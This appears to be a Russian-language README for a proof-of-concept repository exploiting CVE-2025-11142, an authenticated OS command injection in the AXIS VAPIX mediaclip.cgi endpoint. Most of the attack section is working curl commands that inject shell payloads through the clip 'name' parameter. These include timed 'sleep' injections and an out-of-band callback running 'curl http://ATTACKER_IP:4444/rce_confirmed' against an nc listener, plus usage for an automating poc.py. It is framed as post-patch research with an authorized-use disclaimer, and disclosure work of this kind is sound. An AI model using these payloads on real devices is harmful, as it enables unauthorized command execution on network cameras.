
Доказательство концепции и технический анализ для CVE-2025-11142 — аутентифицированная инъекция OS-команд в AXIS VAPIX mediaclip.cgi, с методами проверки на основе времени и внеполосной (out-of-band) проверки.
mediaclip.cgi от AXISn-day исследовательский отчёт и PoC — пост-патчный технический анализ уязвимости OS command injection с CVSS 7.1 в AXIS VAPIX Media Clip API, независимо переоткрытой и подтверждённой методом black-box тестирования на устройстве Axis.
В официальном бюллетене Axis не публикуются технические детали эксплуатации или публичный PoC («Axis не будет предоставлять более подробную информацию об уязвимости», «публично не известно об эксплойтах» на момент публикации бюллетеня). Этот репозиторий документирует независимо воспроизведённое, основанное на доказательствах подтверждение, опубликованное только после того, как исправление вендора (AXIS OS 12.7.36) стало общедоступным. См. Хронология раскрытия.
| CVE ID | CVE-2025-11142 |
| CWE | CWE-78 (OS Command Injection) |
| CVSS | 7.1 (High) |
| Затронуто | AXIS OS 12.6.54 – 12.7.35 |
| Исправлено в | AXIS OS 12.7.36 (Active track) |
| Бюллетень вендора | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| Требуемые привилегии | Аутентифицированный оператор/администратор (VAPIX HTTP Digest auth) |
| Подтверждённое воздействие | Произвольное выполнение OS-команд от имени низкопривилегированной сервисной учётной записи (не root) |
Конечная точка VAPIX /axis-cgi/mediaclip.cgi принимает запрос action=update с
произвольным текстовым параметром name (отображаемое имя клипа). Black-box тестирование показывает, что это значение
передаётся без санитизации в вызов оболочки на устройстве — скорее всего, как часть
внутреннего шага переименования/обработки файлов для подсистемы медиаклипов.
Ни в одном публичном техническом отчёте не описан точный серверный путь выполнения кода (Axis не публиковал такого), поэтому корневая причина ниже выведена из поведения black-box, а не из анализа исходного кода.
Все запросы используют HTTP Digest аутентификацию (устройство отклоняет Basic auth). Замените
TARGET, USER и PASS на значения вашего лабораторного устройства — не используйте примеры
учётных данных против устройства, которым вы не владеете или на тестирование которого у вас нет разрешения.
Действие update требует существующего клипа. Если клип 0 ещё не существует, сначала загрузите
небольшой безвредный заполнитель:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
Любой крошечный корректный WAV-файл подойдёт для poc.wav (минимального заголовка RIFF/WAVE достаточно).
# базовый / контрольный — без внедрённой задержки
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# внедрённая 8-секундная задержка
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
Время ответа, отслеживающее внедрённую длительность sleep (а не базовые ~0,3 с),
подтверждает, что оболочка выполняет полное значение name, а не просто обрабатывает его как инертную
строку. Это было проверено с несколькими независимо масштабируемыми задержками (0 с / 3 с / 6 с / 8 с)
и несколькими синтаксисами внедрения (;, &&, обратные кавычки, $(...)), чтобы исключить совпадение.
Поскольку тело HTTP-ответа никогда не отражает вывод команд (OK / Updating=0 независимо от
полезной нагрузки), наиболее убедительное подтверждение использует собственную исходящую сетевую
возможность устройства. Запустите слушатель на контролируемом атакующим хосте и заставьте внедрённую команду
вызвать его:
# на хосте атакующего:
nc -lvnp 4444
# внедрённая полезная нагрузка:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
Подлинный входящий HTTP-запрос с IP-адреса целевого устройства, содержащий
строку User-Agent curl, является недвусмысленным доказательством удалённого выполнения кода — такой запрос
может исходить только от команды, которая действительно выполнялась на устройстве.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pyСм. poc.py — автономный скрипт, автоматизирующий шаги 1–4 против
указанной вами цели в командной строке.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi), здесь не раскрывается
того, что Axis уже не подтвердил.Этот код предоставлен только для авторизованного тестирования безопасности, исследований в области безопасности и защитных целей (например, проверки того, что ваш собственный парк устройств пропатчен, создания детекционных сигнатур). Не используйте его против устройств, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Автор(ы) не несут ответственности за неправомерное использование.
MIT — см. LICENSE.